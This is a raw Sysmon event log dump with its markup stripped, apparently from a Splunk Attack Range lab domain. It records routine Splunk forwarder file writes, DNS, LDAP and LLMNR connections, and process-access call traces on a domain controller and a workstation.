SERVICEudptruefalse10.0.1.14win-dc-387.attackrange.local68bootpcfalse10.0.1.1ip-10-0-1-1.eu-central-1.compute.internal67bootps 23542300x800000000000000053927Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:34.929{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ED18B3BEAA5E9F64245A1D2A6A7DCF3A,SHA256=26A13827DEAD8F04B1DA40418BC768D00107EF0928C9090D67793E413134B43A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017290Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:34.936{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=5279B868BB5780245B6105713DC8E243,SHA256=1A4156C054E2BC1435B360E7F9D4562B0B22D0069097E7B39FB571EAA1F6671A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017289Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:34.405{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A27AFF5E653FC874E92F2E0107F8B255,SHA256=163F8694F02CABAE99378D1E5894F8FA64199BA843A1F5F9835E3CE4C81F1283,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000053926Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:34.582{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=46BE7A5AFE7390E014F1857213C1DB13,SHA256=1EC34CC698C777452863B49E47C3B3A86DCDE46D63AC2A6DC6B3970D12DEE0FF,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000053925Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:31.995{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59296- 354300x800000000000000053924Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:30.833{7BD73061-65B2-613B-1400-00000000F001}340C:\Windows\System32\svchost.exeNT AUTHORITY\NETWORK SERVICEudptruetruea00:10e:0:0:2851:fe7a:82c9:ffff-65535-truee000:fc:0:0:0:0:0:0-5355llmnr 354300x800000000000000053923Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:30.832{7BD73061-65B2-613B-1400-00000000F001}340C:\Windows\System32\svchost.exeNT AUTHORITY\NETWORK SERVICEudptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local65535-trueff02:0:0:0:0:0:1:3-5355llmnr 10341000x800000000000000017288Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:34.124{625C326B-73C5-613B-1D05-00000000F101}30763944C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000053936Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:35.944{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=982C8D633E12C6F975D16C9BBA0FB829,SHA256=1D84722E2C097DD34A4D2143EA52978C8E755AD383C17B854BC7840F7E93E754,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000017319Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:35.827{625C326B-73C7-613B-1F05-00000000F101}22923308C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017318Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:35.593{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-73C7-613B-1F05-00000000F101}2292C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017317Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:35.593{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017316Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:35.593{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017315Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:35.593{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017314Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:35.593{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017313Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:35.593{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017312Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:35.593{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017311Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:35.593{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017310Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:35.593{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017309Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:35.593{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017308Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:35.593{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-73C7-613B-1F05-00000000F101}2292C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017307Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:35.593{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-73C7-613B-1F05-00000000F101}2292C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017306Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:35.593{625C326B-73C7-613B-1F05-00000000F101}2292C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000017305Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:35.436{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=47380D869E48B9C36D1E66AA61F17969,SHA256=5D4847E94FF099440BB45F59A689D8286A2C5106FFA6B17CA2F5B71F2A6A640B,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000053935Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:32.864{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local63084-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000053934Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:32.864{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMtcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local63084-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000053933Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:32.863{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse10.0.1.14win-dc-387.attackrange.local53domainfalse10.0.1.14win-dc-387.attackrange.local52985- 354300x800000000000000053932Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:32.862{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMtcpfalsefalse10.0.1.14win-dc-387.attackrange.local63083-false10.0.1.14win-dc-387.attackrange.local53domain 354300x800000000000000053931Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:32.862{7BD73061-65B2-613B-1400-00000000F001}340C:\Windows\System32\svchost.exeNT AUTHORITY\NETWORK SERVICEtcptruefalse10.0.1.14win-dc-387.attackrange.local63083-false10.0.1.14win-dc-387.attackrange.local53domain 354300x800000000000000053930Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:32.860{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse10.0.1.14win-dc-387.attackrange.local53domainfalse10.0.1.14win-dc-387.attackrange.local63917- 354300x800000000000000053929Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:32.860{7BD73061-65B2-613B-1400-00000000F001}340C:\Windows\System32\svchost.exeNT AUTHORITY\NETWORK SERVICEudptruefalse10.0.1.14win-dc-387.attackrange.local63917-false10.0.1.14win-dc-387.attackrange.local53domain 354300x800000000000000053928Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:32.859{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local61985- 10341000x800000000000000017304Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:35.358{625C326B-73C7-613B-1E05-00000000F101}32444024C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017303Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:35.093{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-73C7-613B-1E05-00000000F101}3244C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017302Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:35.093{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017301Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:35.093{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017300Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:35.093{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017299Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 